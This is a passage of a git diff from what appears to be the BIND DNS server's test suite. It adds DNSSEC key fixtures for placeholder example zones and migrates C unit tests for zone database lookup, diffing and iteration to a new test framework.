+Public_value(y): LFV/GLJN7wLzei7wpdK71abMbAJhYHY2R1LzsrPQ+BO4FrImQMMAR5HoIhgKUDo9cGnYZdQ8ehhZqD3NU5VTzk9i7QpFkXr0Q3QhWwA4K2CKQ5yvnIPh6xIzBNM+T85Dypb/IZ/UO92le6K7c//BKnNUYvy0cVDZdRHJ1jK2iXQ=
+Created: 20211027221355
+Publish: 20211027221355
+Activate: 20211027221355
diff --git a/tests/dns/comparekeys/Kexample2.+008+37993.key b/tests/dns/comparekeys/Kexample2.+008+37993.key
new file mode 100644
index 0000000000..c0e09a14ad
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample2.+008+37993.key
@@ -0,0 +1,5 @@
+; This is a zone-signing key, keyid 37993, for example2.
+; Created: 20000101000000 (Sat Jan  1 00:00:00 2000)
+; Publish: 20000101000000 (Sat Jan  1 00:00:00 2000)
+; Activate: 20000101000000 (Sat Jan  1 00:00:00 2000)
+example2. IN DNSKEY 256 3 8 AwEAAaSRhPf0XhYR52Kpi0RZJgEnpidvuz2Ywdyh8k5CKwal9nM15PNc 4ZoPEVGO+ize53hq0iUkVlBhAfhQE31Fhf4zU544fezBEaz33hiajEzL ZITux9N83WfoYSNnyufvSGzNcpNM6LHKdDwMr1kr9tTgNeuiTAlPv5z9 BNtfv2B25moVm1DoxMCd8WH0jYC452a2lGM+Fbd45o02OO7V8balPwJh MM2bbeWg5G+tbvCAot93KxtavyOMKV4siv3ZH639J0dIb10L8nNrN0Ge UjkX8yU3fgeWB4Oldtzx0SHxG75NWjRLnpVzBq5GeacLc4RsN+S+nhYW 4Wv2A066w70=
diff --git a/tests/dns/comparekeys/Kexample2.+008+37993.private b/tests/dns/comparekeys/Kexample2.+008+37993.private
new file mode 100644
index 0000000000..887ad2bee8
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample2.+008+37993.private
@@ -0,0 +1,13 @@
+Private-key-format: v1.3
+Algorithm: 8 (RSASHA256)
+Modulus: pJGE9/ReFhHnYqmLRFkmASemJ2+7PZjB3KHyTkIrBqX2czXk81zhmg8RUY76LN7neGrSJSRWUGEB+FATfUWF/jNTnjh97MERrPfeGJqMTMtkhO7H03zdZ+hhI2fK5+9IbM1yk0zoscp0PAyvWSv21OA166JMCU+/nP0E21+/YHbmahWbUOjEwJ3xYfSNgLjnZraUYz4Vt3jmjTY47tXxtqU/AmEwzZtt5aDkb61u8ICi33crG1q/I4wpXiyK/dkfrf0nR0hvXQvyc2s3QZ5SORfzJTd+B5YHg6V23PHRIfEbvk1aNEuelXMGrkZ5pwtzhGw35L6eFhbha/YDTrrDvQ==
+PublicExponent: AQAB
+PrivateExponent: O/HFvYwFuYRMBGQ9lmfisAkBPNw2F/nMo9FZsafohENvwgefngX3J2bVqB+sgSuwpOxEH8NcrWqojQqeDsOES1Pm4XsyY0rwZVDkVZH2CQMNWl6f6ylQfMjomTz1bAZ9GyS612zsVdapADaeqJybDG+fNHWpvLqP0V9YpY/65efTvrA3Qu+XpDvLaJ34yjkeEGUgysNP3KkDTeJTY/ksKi6ODtdzbKpufjZS8b6BL97XcFcNGiwu/gNPCvtmm/H+tXaNYyijG7bNGPOpHFhlMCT13o8XLrR/OGty6VY6PpjaEnvlZUZnWHUwn/JmNoZRJoXAAEerk3nS+tOhRmcrAQ==
+Prime1: 2W8JHYaTn7XefxxwaDZWFrVtHnnd0vUZvBBNA1PJeRfDr+yPxyWcgYx1OBxKkJsYGiob0i992W2HXuz2KS81yBCtH/uLK1Y+mkjgme4MWZupZ0RsKA1TkgIrJs174Dv3P/yqc+/R4eiwUGt10493MS1PJFF0CmisDzgjai/JLIM=
+Prime2: wcIKikgzOsq2A2Hl7qPCeA3oKTc66eFVNvB/KH91/hNFKNm0kAvhHrNe9rSoU+JywCNbX/Fs7X6SuHHJaRs+KpSBadnqfwEIngCq2Y00nT3sbETx4VNbXFD6MPPo3MWDi61/TCyrtBujutavo5ghj2oVzNGqMT3UyhaVNrJp2r8=
+Exponent1: GsEO3hMxFvXJ6toU+r202hZ41scoBE0kXX+j+kTVBZFnAr6Y8mguWcJuqfjRM/nhfVaxFavCUH6pqYR+xZKJi5SBuO26shpqmZFeEZK48k21Cn/gzwzUu6KIrL2cAHtgcP8l+h4INUPsbfjLBr0gbWyl0FI1dRJsGXNO6EH4/wE=
+Exponent2: WrgcsUQ+4E8bS5ghzUtVeVqhkfKvHeSIPpH6J58OQukI36iXNz6op/Q6CW7qxWPocHfdh52Fb+lsjvmP4SuFPvCLa2FBvzdfroMHe5b2xIzCzqq1Sdf6lc3AZv080WmVPuf8C1F7D3hFf+yXDhTj2b9E98JPWoDlyb0rHhIJKAc=
+Coefficient: aVDpGheH0UJ8aWPRIRHyjMTCIPB8zmhfwugpV11Z/OXNb2uaNRcnVKujs1mlSydoIfFQSuFf3iPs7ytaJUfcQJ+k1QAtssJC1HXF14t0p5o99QxuQLgmNtPHD7m2aeAyFJoycF24UmDnFmOPSNm1fnJs9LrBPFZFdTBGhl8plEo=
+Created: 20000101000000
+Publish: 20000101000000
+Activate: 20000101000000
diff --git a/tests/dns/comparekeys/Kexample2.+013+16384.key b/tests/dns/comparekeys/Kexample2.+013+16384.key
new file mode 100644
index 0000000000..b6351adc04
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample2.+013+16384.key
@@ -0,0 +1,5 @@
+; This is a zone-signing key, keyid 16384, for example2.
+; Created: 20000101000000 (Sat Jan  1 00:00:00 2000)
+; Publish: 20000101000000 (Sat Jan  1 00:00:00 2000)
+; Activate: 20000101000000 (Sat Jan  1 00:00:00 2000)
+example2. IN DNSKEY 256 3 13 p+ohRFVh6wmdAhbU/cF2FYoE/i49FxnvKwif0Co0D7RhBui4AMFOsFYu 9AIqEBaCGurjGYl7WDYRrjRMRjWW1g==
diff --git a/tests/dns/comparekeys/Kexample2.+013+16384.private b/tests/dns/comparekeys/Kexample2.+013+16384.private
new file mode 100644
index 0000000000..74a371c142
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample2.+013+16384.private
@@ -0,0 +1,6 @@
+Private-key-format: v1.3
+Algorithm: 13 (ECDSAP256SHA256)
+PrivateKey: ZNsU73iCEeC837TA59nT/QDtd3oYsrYDWy8jfazZQkA=
+Created: 20000101000000
+Publish: 20000101000000
+Activate: 20000101000000
diff --git a/tests/dns/comparekeys/Kexample2.+015+37529.key b/tests/dns/comparekeys/Kexample2.+015+37529.key
new file mode 100644
index 0000000000..9a8cf77021
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample2.+015+37529.key
@@ -0,0 +1,5 @@
+; This is a zone-signing key, keyid 37529, for example2.
+; Created: 20000101000000 (Sat Jan  1 00:00:00 2000)
+; Publish: 20000101000000 (Sat Jan  1 00:00:00 2000)
+; Activate: 20000101000000 (Sat Jan  1 00:00:00 2000)
+example2. IN DNSKEY 256 3 15 zyiLjDymEPN90rwi/y0mWXLnUm0Nq7T9Kc8VoubF2Io=
diff --git a/tests/dns/comparekeys/Kexample2.+015+37529.private b/tests/dns/comparekeys/Kexample2.+015+37529.private
new file mode 100644
index 0000000000..aa70804f65
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample2.+015+37529.private
@@ -0,0 +1,6 @@
+Private-key-format: v1.3
+Algorithm: 15 (ED25519)
+PrivateKey: pUR2VLqbi4XtBNImbVDRHrjugMMmaXmy6noV0/jy/rA=
+Created: 20000101000000
+Publish: 20000101000000
+Activate: 20000101000000
diff --git a/tests/dns/comparekeys/Kexample3.+002+17187.key b/tests/dns/comparekeys/Kexample3.+002+17187.key
new file mode 100644
index 0000000000..0260293180
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample3.+002+17187.key
@@ -0,0 +1 @@
+example3. IN KEY 512 3 2 AIDzVP5SeKpxZmlbok6AbdFT5aCVAg3AnQln24CKoc0IXRyTdnhmIEWw VatzRrUY0V6SSwwe3740yk46/TdSvVmZkakw52yn3M661ra5L8kouAK4 rpyM6uulsS0dyjyRzomHJg2zwOukzHBVINFheKsJ25MvdPpp9E64IVji jp/x3wABBQCAFb1Je3cKpt/4gS+KRx9hxFOF5c64ytC9tf0hp2hP4OiP YCu8o5C3qh+PexZAx58m6cSaFlzf3DZ3GGsvamDj5H8YpvP4FeRVva9V jH4VeU4/VtbdNweDUHwAguGJ77MXw+bruHhpbsFVSxHrnNg99WHghaRy YzfFzphJHKBxACo=
diff --git a/tests/dns/comparekeys/Kexample3.+002+17187.private b/tests/dns/comparekeys/Kexample3.+002+17187.private
new file mode 100644
index 0000000000..47ef4bcee7
--- /dev/null
+++ b/tests/dns/comparekeys/Kexample3.+002+17187.private
@@ -0,0 +1,9 @@
+Private-key-format: v1.3
+Algorithm: 2 (DH)
+Prime(p): 81T+UniqcWZpW6JOgG3RU+WglQINwJ0JZ9uAiqHNCF0ck3Z4ZiBFsFWrc0a1GNFekksMHt++NMpOOv03Ur1ZmZGpMOdsp9zOuta2uS/JKLgCuK6cjOrrpbEtHco8kc6JhyYNs8DrpMxwVSDRYXirCduTL3T6afROuCFY4o6f8d8=
+Generator(g): BQ==
+Private_value(x): ccA7JRCvjAE1ASWTtObkvO5k58oKdJ+bzcd/H3cOQsPAhItUc8Pfca2ILWYzDfs+nl+WKLfODQ9cRUabp4SUh0GKPnqJVM1UgDXwme/98NEtVFhs2VawT40wHLkcdPN9jACH11l28u1qsDVb7MRj2UXGC/oszRwQ7s3rN1UlHO8=
+Public_value(y): Fb1Je3cKpt/4gS+KRx9hxFOF5c64ytC9tf0hp2hP4OiPYCu8o5C3qh+PexZAx58m6cSaFlzf3DZ3GGsvamDj5H8YpvP4FeRVva9VjH4VeU4/VtbdNweDUHwAguGJ77MXw+bruHhpbsFVSxHrnNg99WHghaRyYzfFzphJHKBxACo=
+Created: 20211027221447
+Publish: 20211027221447
+Activate: 20211027221447
diff --git a/lib/dns/tests/db_test.c b/tests/dns/db_test.c
similarity index 79%
rename from lib/dns/tests/db_test.c
rename to tests/dns/db_test.c
index 1eb0dd7f40..ffcd65d275 100644
--- a/lib/dns/tests/db_test.c
+++ b/tests/dns/db_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
+#include <inttypes.h>
 #include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
 #include <stdarg.h>
@@ -27,28 +28,7 @@
 #include <dns/name.h>
 #include <dns/rdatalist.h>
 
-#include "dnstest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
+#include <tests/dns.h>
 
 #define BUFLEN	    255
 #define BIGBUFLEN   (64 * 1024)
@@ -59,17 +39,13 @@ _teardown(void **state) {
  */
 
 /* test multiple calls to dns_db_getoriginnode */
-static void
-getoriginnode_test(void **state) {
+ISC_RUN_TEST_IMPL(getoriginnode) {
 	dns_db_t *db = NULL;
 	dns_dbnode_t *node = NULL;
-	isc_mem_t *mctx = NULL;
 	isc_result_t result;
 
 	UNUSED(state);
 
-	isc_mem_create(&mctx);
-
 	result = dns_db_create(mctx, "rbt", dns_rootname, dns_dbtype_zone,
 			       dns_rdataclass_in, 0, NULL, &db);
 	assert_int_equal(result, ISC_R_SUCCESS);
@@ -83,21 +59,16 @@ getoriginnode_test(void **state) {
 	dns_db_detachnode(db, &node);
 
 	dns_db_detach(&db);
-	isc_mem_detach(&mctx);
 }
 
 /* test getservestalettl and setservestalettl */
-static void
-getsetservestalettl_test(void **state) {
+ISC_RUN_TEST_IMPL(getsetservestalettl) {
 	dns_db_t *db = NULL;
-	isc_mem_t *mctx = NULL;
 	isc_result_t result;
 	dns_ttl_t ttl;
 
 	UNUSED(state);
 
-	isc_mem_create(&mctx);
-
 	result = dns_db_create(mctx, "rbt", dns_rootname, dns_dbtype_cache,
 			       dns_rdataclass_in, 0, NULL, &db);
 	assert_int_equal(result, ISC_R_SUCCESS);
@@ -117,12 +88,10 @@ getsetservestalettl_test(void **state) {
 	assert_int_equal(ttl, 6 * 3600);
 
 	dns_db_detach(&db);
-	isc_mem_detach(&mctx);
 }
 
 /* check DNS_DBFIND_STALEOK works */
-static void
-dns_dbfind_staleok_test(void **state) {
+ISC_RUN_TEST_IMPL(dns_dbfind_staleok) {
 	dns_db_t *db = NULL;
 	dns_dbnode_t *node = NULL;
 	dns_fixedname_t example_fixed;
@@ -133,14 +102,11 @@ dns_dbfind_staleok_test(void **state) {
 	dns_rdataset_t rdataset;
 	int count;
 	int pass;
-	isc_mem_t *mctx = NULL;
 	isc_result_t result;
 	unsigned char data[] = { 0x0a, 0x00, 0x00, 0x01 };
 
 	UNUSED(state);
 
-	isc_mem_create(&mctx);
-
 	result = dns_db_create(mctx, "rbt", dns_rootname, dns_dbtype_cache,
 			       dns_rdataclass_in, 0, NULL, &db);
 	assert_int_equal(result, ISC_R_SUCCESS);
@@ -148,7 +114,7 @@ dns_dbfind_staleok_test(void **state) {
 	example = dns_fixedname_initname(&example_fixed);
 	found = dns_fixedname_initname(&found_fixed);
 
-	result = dns_name_fromstring(example, "example", 0, NULL);
+	result = dns_name_fromstring(example, "example", dns_rootname, 0, NULL);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	/*
@@ -188,8 +154,7 @@ dns_dbfind_staleok_test(void **state) {
 		}
 
 		dns_rdataset_init(&rdataset);
-		result = dns_rdatalist_tordataset(&rdatalist, &rdataset);
-		assert_int_equal(result, ISC_R_SUCCESS);
+		dns_rdatalist_tordataset(&rdatalist, &rdataset);
 
 		result = dns_db_findnode(db, example, true, &node);
 		assert_int_equal(result, ISC_R_SUCCESS);
@@ -275,23 +240,21 @@ dns_dbfind_staleok_test(void **state) {
 	}
 
 	dns_db_detach(&db);
-	isc_mem_detach(&mctx);
 }
 
 /* database class */
-static void
-class_test(void **state) {
+ISC_RUN_TEST_IMPL(class) {
 	isc_result_t result;
 	dns_db_t *db = NULL;
 
 	UNUSED(state);
 
-	result = dns_db_create(dt_mctx, "rbt", dns_rootname, dns_dbtype_zone,
+	result = dns_db_create(mctx, "rbt", dns_rootname, dns_dbtype_zone,
 			       dns_rdataclass_in, 0, NULL, &db);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
-	result = dns_db_load(db, "testdata/db/data.db", dns_masterformat_text,
-			     0);
+	result = dns_db_load(db, TESTS_DIR "/testdata/db/data.db",
+			     dns_masterformat_text, 0);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	assert_int_equal(dns_db_class(db), dns_rdataclass_in);
@@ -300,39 +263,37 @@ class_test(void **state) {
 }
 
 /* database type */
-static void
-dbtype_test(void **state) {
+ISC_RUN_TEST_IMPL(dbtype) {
 	isc_result_t result;
 	dns_db_t *db = NULL;
 
 	UNUSED(state);
 
 	/* DB has zone semantics */
-	result = dns_db_create(dt_mctx, "rbt", dns_rootname, dns_dbtype_zone,
+	result = dns_db_create(mctx, "rbt", dns_rootname, dns_dbtype_zone,
 			       dns_rdataclass_in, 0, NULL, &db);
 	assert_int_equal(result, ISC_R_SUCCESS);
-	result = dns_db_load(db, "testdata/db/data.db", dns_masterformat_text,
-			     0);
+	result = dns_db_load(db, TESTS_DIR "/testdata/db/data.db",
+			     dns_masterformat_text, 0);
 	assert_int_equal(result, ISC_R_SUCCESS);
 	assert_true(dns_db_iszone(db));
 	assert_false(dns_db_iscache(db));
 	dns_db_detach(&db);
 
 	/* DB has cache semantics */
-	result = dns_db_create(dt_mctx, "rbt", dns_rootname, dns_dbtype_cache,
+	result = dns_db_create(mctx, "rbt", dns_rootname, dns_dbtype_zone,
 			       dns_rdataclass_in, 0, NULL, &db);
 	assert_int_equal(result, ISC_R_SUCCESS);
-	result = dns_db_load(db, "testdata/db/data.db", dns_masterformat_text,
-			     0);
+	result = dns_db_load(db, TESTS_DIR "/testdata/db/data.db",
+			     dns_masterformat_text, 0);
 	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_true(dns_db_iscache(db));
-	assert_false(dns_db_iszone(db));
+	assert_false(dns_db_iscache(db));
+	assert_true(dns_db_iszone(db));
 	dns_db_detach(&db);
 }
 
 /* database versions */
-static void
-version_test(void **state) {
+ISC_RUN_TEST_IMPL(version) {
 	isc_result_t result;
 	dns_fixedname_t fname, ffound;
 	dns_name_t *name, *foundname;
@@ -344,12 +305,12 @@ version_test(void **state) {
 	UNUSED(state);
 
 	result = dns_test_loaddb(&db, dns_dbtype_zone, "test.test",
-				 "testdata/db/data.db");
+				 TESTS_DIR "/testdata/db/data.db");
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	/* Open current version for reading */
 	dns_db_currentversion(db, &ver);
-	dns_test_namefromstring("b.test.test", &fname);
+	dns_test_namefromstring("b.test.test.", &fname);
 	name = dns_fixedname_name(&fname);
 	foundname = dns_fixedname_initname(&ffound);
 	dns_rdataset_init(&rdataset);
@@ -362,7 +323,7 @@ version_test(void **state) {
 
 	/* Open new version for writing */
 	dns_db_currentversion(db, &ver);
-	dns_test_namefromstring("b.test.test", &fname);
+	dns_test_namefromstring("b.test.test.", &fname);
 	name = dns_fixedname_name(&fname);
 	foundname = dns_fixedname_initname(&ffound);
 	dns_rdataset_init(&rdataset);
@@ -398,29 +359,13 @@ version_test(void **state) {
 	dns_db_detach(&db);
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(getoriginnode_test),
-		cmocka_unit_test(getsetservestalettl_test),
-		cmocka_unit_test(dns_dbfind_staleok_test),
-		cmocka_unit_test_setup_teardown(class_test, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(dbtype_test, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(version_test, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(getoriginnode)
+ISC_TEST_ENTRY(getsetservestalettl)
+ISC_TEST_ENTRY(dns_dbfind_staleok)
+ISC_TEST_ENTRY(class)
+ISC_TEST_ENTRY(dbtype)
+ISC_TEST_ENTRY(version)
+ISC_TEST_LIST_END
 
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_MAIN
diff --git a/tests/dns/dbdiff_test.c b/tests/dns/dbdiff_test.c
new file mode 100644
index 0000000000..f0fb8804f8
--- /dev/null
+++ b/tests/dns/dbdiff_test.c
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/util.h>
+
+#include <dns/db.h>
+#include <dns/dbiterator.h>
+#include <dns/journal.h>
+#include <dns/name.h>
+
+#include <tests/dns.h>
+
+#define BUFLEN	    255
+#define BIGBUFLEN   (64 * 1024)
+#define TEST_ORIGIN "test"
+
+static void
+test_create(const char *oldfile, dns_db_t **old, const char *newfile,
+	    dns_db_t **newdb) {
+	isc_result_t result;
+
+	result = dns_test_loaddb(old, dns_dbtype_zone, TEST_ORIGIN, oldfile);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_test_loaddb(newdb, dns_dbtype_zone, TEST_ORIGIN, newfile);
+	assert_int_equal(result, ISC_R_SUCCESS);
+}
+
+/* dns_db_diffx of identical content */
+ISC_RUN_TEST_IMPL(diffx_same) {
+	dns_db_t *newdb = NULL, *olddb = NULL;
+	isc_result_t result;
+	dns_diff_t diff;
+
+	UNUSED(state);
+
+	test_create(TESTS_DIR "/testdata/diff/zone1.data", &olddb,
+		    TESTS_DIR "/testdata/diff/zone1.data", &newdb);
+
+	dns_diff_init(mctx, &diff);
+
+	result = dns_db_diffx(&diff, newdb, NULL, olddb, NULL, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	assert_true(ISC_LIST_EMPTY(diff.tuples));
+
+	dns_diff_clear(&diff);
+	dns_db_detach(&newdb);
+	dns_db_detach(&olddb);
+}
+
+/* dns_db_diffx of zone with record added */
+ISC_RUN_TEST_IMPL(diffx_add) {
+	dns_db_t *newdb = NULL, *olddb = NULL;
+	dns_difftuple_t *tuple;
+	isc_result_t result;
+	dns_diff_t diff;
+	int count = 0;
+
+	UNUSED(state);
+
+	test_create(TESTS_DIR "/testdata/diff/zone1.data", &olddb,
+		    TESTS_DIR "/testdata/diff/zone2.data", &newdb);
+
+	dns_diff_init(mctx, &diff);
+
+	result = dns_db_diffx(&diff, newdb, NULL, olddb, NULL, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	assert_false(ISC_LIST_EMPTY(diff.tuples));
+	for (tuple = ISC_LIST_HEAD(diff.tuples); tuple != NULL;
+	     tuple = ISC_LIST_NEXT(tuple, link))
+	{
+		assert_int_equal(tuple->op, DNS_DIFFOP_ADD);
+		count++;
+	}
+	assert_int_equal(count, 1);
+
+	dns_diff_clear(&diff);
+	dns_db_detach(&newdb);
+	dns_db_detach(&olddb);
+}
+
+/* dns_db_diffx of zone with record removed */
+ISC_RUN_TEST_IMPL(diffx_remove) {
+	dns_db_t *newdb = NULL, *olddb = NULL;
+	dns_difftuple_t *tuple;
+	isc_result_t result;
+	dns_diff_t diff;
+	int count = 0;
+
+	UNUSED(state);
+
+	test_create(TESTS_DIR "/testdata/diff/zone1.data", &olddb,
+		    TESTS_DIR "/testdata/diff/zone3.data", &newdb);
+
+	dns_diff_init(mctx, &diff);
+
+	result = dns_db_diffx(&diff, newdb, NULL, olddb, NULL, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	assert_false(ISC_LIST_EMPTY(diff.tuples));
+	for (tuple = ISC_LIST_HEAD(diff.tuples); tuple != NULL;
+	     tuple = ISC_LIST_NEXT(tuple, link))
+	{
+		assert_int_equal(tuple->op, DNS_DIFFOP_DEL);
+		count++;
+	}
+	assert_int_equal(count, 1);
+
+	dns_diff_clear(&diff);
+	dns_db_detach(&newdb);
+	dns_db_detach(&olddb);
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(diffx_same)
+ISC_TEST_ENTRY(diffx_add)
+ISC_TEST_ENTRY(diffx_remove)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/dns/dbiterator_test.c b/tests/dns/dbiterator_test.c
new file mode 100644
index 0000000000..2c65a1d10e
--- /dev/null
+++ b/tests/dns/dbiterator_test.c
@@ -0,0 +1,340 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/util.h>
+
+#include <dns/db.h>
+#include <dns/dbiterator.h>
+#include <dns/name.h>
+
+#include <tests/dns.h>
+
+#define BUFLEN	    255
+#define BIGBUFLEN   (64 * 1024)
+#define TEST_ORIGIN "test"
+
+static isc_result_t
+make_name(const char *src, dns_name_t *name) {
+	isc_buffer_t b;
+	isc_buffer_constinit(&b, src, strlen(src));
+	isc_buffer_add(&b, strlen(src));
+	return (dns_name_fromtext(name, &b, dns_rootname, 0, NULL));
+}
+
+/* create: make sure we can create a dbiterator */
+static void
+test_create(const char *filename) {
+	isc_result_t result;
+	dns_db_t *db = NULL;
+	dns_dbiterator_t *iter = NULL;
+
+	result = dns_test_loaddb(&db, dns_dbtype_zone, TEST_ORIGIN, filename);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_db_createiterator(db, 0, &iter);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	dns_dbiterator_destroy(&iter);
+	dns_db_detach(&db);
+}
+
+ISC_RUN_TEST_IMPL(create) {
+	UNUSED(state);
+
+	test_create(TESTS_DIR "/testdata/dbiterator/zone1.data");
+}
+
+ISC_RUN_TEST_IMPL(create_nsec3) {
+	UNUSED(state);
+
+	test_create(TESTS_DIR "/testdata/dbiterator/zone2.data");
+}
+
+/* walk: walk a database */
+static void
+test_walk(const char *filename, int nodes) {
+	isc_result_t result;
+	dns_db_t *db = NULL;
+	dns_dbiterator_t *iter = NULL;
+	dns_dbnode_t *node = NULL;
+	dns_name_t *name;
+	dns_fixedname_t f;
+	int i = 0;
+
+	name = dns_fixedname_initname(&f);
+
+	result = dns_test_loaddb(&db, dns_dbtype_zone, TEST_ORIGIN, filename);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_db_createiterator(db, 0, &iter);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	for (result = dns_dbiterator_first(iter); result == ISC_R_SUCCESS;
+	     result = dns_dbiterator_next(iter))
+	{
+		result = dns_dbiterator_current(iter, &node, name);
+		if (result == DNS_R_NEWORIGIN) {
+			result = ISC_R_SUCCESS;
+		}
+		assert_int_equal(result, ISC_R_SUCCESS);
+		dns_db_detachnode(db, &node);
+		i++;
+	}
+
+	assert_int_equal(i, nodes);
+
+	dns_dbiterator_destroy(&iter);
+	dns_db_detach(&db);
+}
+
+ISC_RUN_TEST_IMPL(walk) {
+	UNUSED(state);
+
+	test_walk(TESTS_DIR "/testdata/dbiterator/zone1.data", 13);
+}
+
+ISC_RUN_TEST_IMPL(walk_nsec3) {
+	UNUSED(state);
+
+	test_walk(TESTS_DIR "/testdata/dbiterator/zone2.data", 33);
+}
+
+/* reverse: walk database backwards */
+static void
+test_reverse(const char *filename) {
+	isc_result_t result;
+	dns_db_t *db = NULL;
+	dns_dbiterator_t *iter = NULL;
+	dns_dbnode_t *node = NULL;
+	dns_name_t *name;
+	dns_fixedname_t f;
+	int i = 0;
+
+	name = dns_fixedname_initname(&f);
+
+	result = dns_test_loaddb(&db, dns_dbtype_zone, TEST_ORIGIN, filename);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_db_createiterator(db, 0, &iter);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	for (result = dns_dbiterator_last(iter); result == ISC_R_SUCCESS;
+	     result = dns_dbiterator_prev(iter))
+	{
+		result = dns_dbiterator_current(iter, &node, name);
+		if (result == DNS_R_NEWORIGIN) {
+			result = ISC_R_SUCCESS;
+		}
+		assert_int_equal(result, ISC_R_SUCCESS);
+		dns_db_detachnode(db, &node);
+		i++;
+	}
+
+	assert_int_equal(i, 12);
+
+	dns_dbiterator_destroy(&iter);
+	dns_db_detach(&db);
+}
+
+ISC_RUN_TEST_IMPL(reverse) {
+	UNUSED(state);
+
+	test_reverse(TESTS_DIR "/testdata/dbiterator/zone1.data");
+}
+
+ISC_RUN_TEST_IMPL(reverse_nsec3) {
+	UNUSED(state);
+
+	test_reverse(TESTS_DIR "/testdata/dbiterator/zone2.data");
+}
+
+/* seek: walk database starting at a particular node */
+static void
+test_seek_node(const char *filename, int nodes) {
+	isc_result_t result;
+	dns_db_t *db = NULL;
+	dns_dbiterator_t *iter = NULL;
+	dns_dbnode_t *node = NULL;
+	dns_name_t *name, *seekname;
+	dns_fixedname_t f1, f2;
+	int i = 0;
+
+	name = dns_fixedname_initname(&f1);
+	seekname = dns_fixedname_initname(&f2);
+
+	result = dns_test_loaddb(&db, dns_dbtype_zone, TEST_ORIGIN, filename);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_db_createiterator(db, 0, &iter);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = make_name("c." TEST_ORIGIN, seekname);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_dbiterator_seek(iter, seekname);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	while (result == ISC_R_SUCCESS) {
+		result = dns_dbiterator_current(iter, &node, name);
+		if (result == DNS_R_NEWORIGIN) {
+			result = ISC_R_SUCCESS;
+		}
+		assert_int_equal(result, ISC_R_SUCCESS);
+		dns_db_detachnode(db, &node);
+		result = dns_dbiterator_next(iter);
+		i++;
+	}
+
+	assert_int_equal(i, nodes);
+
+	dns_dbiterator_destroy(&iter);
+	dns_db_detach(&db);
+}
+
+ISC_RUN_TEST_IMPL(seek_node) {
+	UNUSED(state);
+
+	test_seek_node(TESTS_DIR "/testdata/dbiterator/zone1.data", 10);
+}
+
+ISC_RUN_TEST_IMPL(seek_node_nsec3) {
+	UNUSED(state);
+
